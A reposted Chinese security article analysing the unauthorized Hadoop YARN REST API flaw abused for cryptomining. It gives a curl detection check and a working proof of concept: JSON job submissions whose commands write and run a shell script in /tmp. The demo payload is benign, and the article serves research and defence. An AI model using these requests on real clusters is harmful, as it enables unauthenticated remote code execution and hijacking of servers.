微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Hadoop Yarn REST API未授权漏洞利用挖矿分析

一、背景

5月5日腾讯云安全团队曾针对“攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码”的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。

二、漏洞说明

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有认开放在8088和8090的REST API(认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

 

检测方法

curl http://node01:8088/ws/v1/cluster

返回类似如下内容则有可能被攻击

image.png

攻击步骤

1、申请新的application

直接通过curl进行POST请求

通过REST API提交任务,向/tmp目录输出接下来要执行的脚本内容

curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @setup.json

setup.json

{
        "am-container-spec":{
          "commands":{
                "command":"echo 'echo 11 > /tmp/time_1.sh' > /tmp/setup.sh"
          }
        },
        "application-id":"application_1621418758341_0210",
        "application-name":"setup",
        "application-type":"YARN"
}

image.png

在服务器的tmp目录下查看,已经生成该脚本

image.png

再次提交任务,执行该脚本

curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @exec.json

exec.json

{
    "am-container-spec":{
      "commands":{
        "command":"sh /tmp/setup.sh"
      }
    },
    "application-id":"application_1621418758341_0211",
    "application-name":"exec",
    "application-type":"YARN"
}

image.png

在服务器上的脚本已经执行并输出指定内容

image.png

说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。

相关推荐